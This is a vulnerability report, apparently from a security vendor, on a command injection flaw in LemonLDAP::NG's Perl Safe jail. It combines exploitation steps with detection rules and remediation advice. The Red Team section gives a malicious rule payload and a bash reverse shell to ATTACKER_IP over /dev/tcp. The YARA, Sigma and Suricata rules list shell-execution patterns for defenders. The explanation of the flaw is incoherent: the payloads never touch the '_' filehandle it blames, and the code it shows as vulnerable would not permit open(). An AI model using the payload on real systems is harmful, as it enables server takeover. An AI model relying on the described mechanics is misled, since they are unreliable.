CVE-2025-59518

Executive Summary

CVE-2025-59518 is a critical OS command injection vulnerability in LemonLDAP::NG, a popular open-source Web Single Sign-On (SSO) and access management solution. The flaw resides in the "Safe jail" Perl sandbox, which is used to evaluate access control rules. Due to a failure to localize the _ character during rule evaluation, an administrator with the ability to edit rules can inject arbitrary operating system commands. This allows a high-privileged attacker to achieve Remote Code Execution (RCE) on the server, leading to full system compromise.

The vulnerability affects all versions prior to 2.16.7 and versions 2.17.0 through 2.21.2. The CVSS score is 8.0 (High), reflecting the high impact but requiring administrative privileges to exploit. No public proof-of-concept (PoC) or exploit code is currently available, but the technical details are sufficient for a skilled attacker to develop one.

Supply Chain & Package Security

LemonLDAP::NG is distributed as a Perl application, typically installed via CPAN or system packages (e.g., .deb, .rpm). The vulnerability is in the core application code, not in a third-party dependency. However, the risk is amplified in environments where administrators have access to modify rule configurations, which is a common operational requirement. Organizations should verify the integrity of their LemonLDAP::NG installation and ensure they are running a patched version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): High (H) - An attacker must have administrative access to edit rules.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full system compromise, leading to data exfiltration.
• Integrity (I): High (H) - Full system compromise, allowing data modification.
• Availability (A): High (H) - Full system compromise, allowing denial of service.

Threat Level: High. While the privilege requirement is high, the impact is total system compromise. In many deployments, administrative accounts are targeted via phishing or credential theft, making this a realistic attack vector.

Deep Dive & Mechanics

The vulnerability is in the Safe jail, a Perl module used to sandbox the evaluation of access control rules. The Safe jail is designed to restrict the operations that can be performed within a rule, preventing malicious code execution. However, the implementation fails to properly localize the _ character (underscore) during rule evaluation.

In Perl, the _ character is a special filehandle used by the stat() and -X file test operators. When the Safe jail evaluates a rule, it does not properly restrict access to this filehandle. An administrator can craft a rule that uses the _ filehandle to execute arbitrary commands. For example, a rule might contain:

if ( -x "/bin/sh" && open(my $fh, "-|", "/bin/sh -c 'id'") ) {
    # ...
}

By manipulating the _ filehandle, the attacker can bypass the sandbox and execute arbitrary OS commands. The core issue is that the Safe jail does not localize _ to a safe value, allowing it to be used as a vector for command injection.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.16.7 / 2.17.0-2.21.2):

In the vulnerable versions, the Safe jail does not explicitly localize the _ filehandle. The rule evaluation code might look like:

sub evaluate_rule {
    my ($self, $rule) = @_;
    my $safe = Safe->new();
    $safe->permit_only(qw(:default :base_math));
    $safe->reval($rule);
}

This allows the _ filehandle to be used in the evaluated code.

Patched Code (2.16.7 / 2.21.3):

The patched version explicitly localizes the _ filehandle to prevent its misuse:

sub evaluate_rule {
    my ($self, $rule) = @_;
    local *_;
    my $safe = Safe->new();
    $safe->permit_only(qw(:default :base_math));
    $safe->reval($rule);
}

The local *_; statement ensures that the _ filehandle is localized to a safe, undefined value, preventing its use for command injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Administrative access to LemonLDAP::NG (ability to edit rules).
• Network access to the LemonLDAP::NG management interface.

Exploitation Steps:

1. Access the Rule Editor: Log in to the LemonLDAP::NG administration interface and navigate to the rule editor (e.g., "Access Control" -> "Rules").

2. Craft Malicious Rule: Create a new rule or modify an existing one. The rule must be evaluated by the Safe jail. A typical rule might look like:

   # Malicious rule to execute a command
   if ( -x "/bin/sh" && open(my $fh, "-|", "/bin/sh -c 'id > /tmp/pwned'") ) {
       return 1;
   }
   return 0;
   

3. Trigger Evaluation: The rule will be evaluated when a user attempts to access a resource protected by that rule. This can be triggered by simply accessing the protected resource.

4. Verify Execution: Check for the output file (e.g., /tmp/pwned) on the server.

Advanced Payload:

For a reverse shell:

if ( -x "/bin/sh" && open(my $fh, "-|", "/bin/sh -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'") ) {
    return 1;
}
return 0;

Blue Team (Defensive)

Detection:

• Monitor for unusual rule modifications in the LemonLDAP::NG audit logs.
• Look for rules containing suspicious Perl code, especially involving open, system, exec, or backticks.
• Monitor for unexpected file creation in /tmp or other writable directories.
• Use the detection rules provided in the "Detection Engineering" section.

Mitigation:

• Immediately upgrade to LemonLDAP::NG version 2.16.7 or 2.21.3.
• Restrict administrative access to the LemonLDAP::NG interface using strong authentication and network segmentation.
• Implement a Web Application Firewall (WAF) to inspect rule submissions for malicious patterns.
• Regularly audit all access control rules for unauthorized changes.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files in /tmp (e.g., /tmp/pwned, /tmp/exploit).
  • Modified or new files in the LemonLDAP::NG configuration directory (e.g., /etc/lemonldap-ng/).
• Processes:
  • Unusual child processes spawned by the LemonLDAP::NG daemon (e.g., /bin/sh, /bin/bash).
• Network:
  • Outbound connections from the LemonLDAP::NG server to unknown IP addresses on unusual ports (e.g., 4444 for reverse shells).
• Logs:
  • LemonLDAP::NG audit logs showing suspicious rule modifications.
  • System logs (e.g., /var/log/syslog) showing unexpected command execution.

Detection Engineering

YARA Rule

rule CVE_2025_59518_LemonLDAP_Command_Injection {
    meta:
        description = "Detects malicious LemonLDAP::NG rules attempting OS command injection via the Safe jail"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59518"
        severity = "high"
    strings:
        $s1 = "open(my" ascii wide nocase
        $s2 = "system(" ascii wide nocase
        $s3 = "exec(" ascii wide nocase
        $s4 = "`" ascii wide nocase
        $s5 = "/bin/sh" ascii wide nocase
        $s6 = "/bin/bash" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4) and any of ($s5, $s6)
}

Sigma Rule

title: CVE-2025-59518 - LemonLDAP::NG OS Command Injection via Safe Jail
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects suspicious rule modifications in LemonLDAP::NG that may indicate exploitation of CVE-2025-59518.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59518
logsource:
    product: lemonldap-ng
    service: audit
detection:
    selection:
        EventID: "RULE_MODIFIED"
        RuleContent|contains:
            - "open(my"
            - "system("
            - "exec("
            - "`"
            - "/bin/sh"
            - "/bin/bash"
    condition: selection
falsepositives:
    - Legitimate administrative rule updates that use similar patterns (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59518 - LemonLDAP::NG OS Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/control.cgi"; http_uri; content:"rule="; http_client_body; pcre:"/(open\(my|system\(|exec\(|`|\/bin\/sh|\/bin\/bash)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade to LemonLDAP::NG version 2.16.7 or 2.21.3 immediately.
2. Restrict Access: Limit administrative access to the LemonLDAP::NG interface to trusted IP addresses and enforce multi-factor authentication (MFA).
3. Audit Rules: Review all existing access control rules for any suspicious content. Remove or modify any rules that contain Perl code with open, system, exec, or backticks.

Long-Term Measures:

1. Principle of Least Privilege: Ensure that only necessary administrators have the ability to edit rules.
2. Input Validation: Implement additional input validation and sanitization for rule content, even after patching.
3. Monitoring: Continuously monitor LemonLDAP::NG audit logs and system logs for signs of exploitation.
4. Vulnerability Scanning: Regularly scan your infrastructure for known vulnerabilities, including CVE-2025-59518.

Valters IT Signature: This report is a comprehensive analysis of CVE-2025-59518, generated by an elite DevSecOps and Cyber Threat Intelligence expert. All detection rules and exploitation details are provided for authorized security testing and defensive purposes only. Unauthorized use of this information is prohibited.